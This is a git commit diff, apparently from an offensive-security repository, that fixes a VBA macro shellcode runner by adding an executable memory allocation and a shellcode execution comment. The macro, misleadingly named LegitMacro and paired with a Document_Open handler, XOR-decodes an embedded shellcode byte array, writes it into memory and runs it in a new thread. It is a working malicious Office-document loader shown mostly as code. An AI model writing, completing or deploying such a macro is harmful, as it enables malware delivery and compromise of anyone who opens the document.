Fix VBA shellcode runner

morg0n · Jun 3, 2021 · 045e264 · 045e264
1 parent 2034f4a
commit 045e264
Showing 1 changed file with 5 additions and 0 deletions.
diff --git a/Simple Shellcode Runner/Simple Shellcode Runner.vba b/Simple Shellcode Runner/Simple Shellcode Runner.vba
@@ -42,6 +42,9 @@ Sub LegitMacro()
     250, 187, 162, 144, 250, 160, 187, 64, 241, 213, 245, 202, 5, 47, 173, 163, 187, 64, 143, 148, 183, 155, 5, 47, 179, 5, 52, 19, 198, 5, 5, 5, 178, 251, 57, 178, 211, 60, 178, 127, 12, 143, 78, 187, 5, 29, 162, 144, 250, 163, _
     65, 26, 231, 208, 240, 187, 115, 32, 5, 47)
 
+    ' Allocate memory space
+    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
+
     ' Decode the shellcode
     For i = 0 To UBound(buf)
         buf(i) = buf(i) Xor 250
@@ -52,6 +55,8 @@ Sub LegitMacro()
         data = buf(counter)
         res = RtlMoveMemory(addr + counter, data, 1)
     Next counter
+
+    ' Execute the shellcode
     res = CreateThread(0, 0, addr, 0, 0, 0)
 End Sub
 Sub Document_Open()